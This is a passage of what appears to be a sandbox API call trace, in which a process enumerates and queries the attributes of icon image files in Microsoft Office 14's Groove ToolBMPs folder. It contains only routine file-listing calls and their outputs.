	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8472000, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8472000, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMask.bmp", cAlternateFileName="NOTIFI~1.BMP")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a588200, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a588200, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMaskRTL.bmp", cAlternateFileName="NOTIFI~2.BMP")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7689a500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7689a500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImages.jpg", cAlternateFileName="OUTLIN~1.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1938, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImagesMask.bmp", cAlternateFileName="OUTLIN~1.BMP")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImages.jpg", cAlternateFileName="OUTOFS~1.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImagesMask.bmp", cAlternateFileName="OUTOFS~1.BMP")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a3c500, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a3c500, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5203, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImages.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a5d00, ftCreationTime.dwHighDateTime=0x1ca032e, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe1a5d00, ftLastWriteTime.dwHighDateTime=0x1ca032e, nFileSizeHigh=0x0, nFileSizeLow=0x1238, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImagesMask.bmp", cAlternateFileName="PICTUR~1.BMP")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIcon.jpg", cAlternateFileName="QUESTI~1.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIconMask.bmp", cAlternateFileName="QUESTI~1.BMP")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16Images.jpg", cAlternateFileName="SHARED~1.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16ImagesMask.bmp", cAlternateFileName="SHARED~1.BMP")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24Images.jpg", cAlternateFileName="SHARED~2.JPG")) returned 1
	[0052.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24ImagesMask.bmp", cAlternateFileName="SHARED~2.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchIconImages.bmp", cAlternateFileName="SKETCH~1.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupicons.jpg", cAlternateFileName="SPACEB~1.JPG")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupiconsmask.bmp", cAlternateFileName="SPACEB~1.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOPICON.JPG", cAlternateFileName="")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="StopIconMask.bmp", cAlternateFileName="STOPIC~1.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d554a00, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d554a00, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImages256Colors.bmp", cAlternateFileName="TASKBA~1.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd49300, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd49300, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImagesMask256Colors.bmp", cAlternateFileName="TASKBA~2.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5adf6ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2605, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImage.jpg", cAlternateFileName="TIPSIM~1.JPG")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae1d030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImageMask.bmp", cAlternateFileName="TIPSIM~1.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSignLogo.jpg", cAlternateFileName="VERISI~1.JPG")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bafc00, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90bafc00, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5431, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImages.jpg", cAlternateFileName="WEBTOO~1.JPG")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8862c100, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8862c100, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x1538, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImagesMask.bmp", cAlternateFileName="WEBTOO~1.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1995, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImages16x16.jpg", cAlternateFileName="WEBTOO~2.JPG")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImagesMask16x16.bmp", cAlternateFileName="WEBTOO~2.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2308, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImages.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="WSSFIL~1.BMP")) returned 1
	[0052.530] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.530] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc828 | out: lpFileInformation=0x123fc828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9)) returned 1
	[0052.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc878 | out: lpFileInformation=0x123fc878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x538)) returned 1
	[0052.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38)) returned 1
	[0052.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x938)) returned 1
	[0052.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x296b)) returned 1
	[0052.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf78)) returned 1
	[0052.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7)) returned 1
	[0052.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1
	[0052.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7)) returned 1
	[0052.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1
	[0052.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eaf)) returned 1
	[0052.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fcb98 | out: lpFileInformation=0x123fcb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638)) returned 1
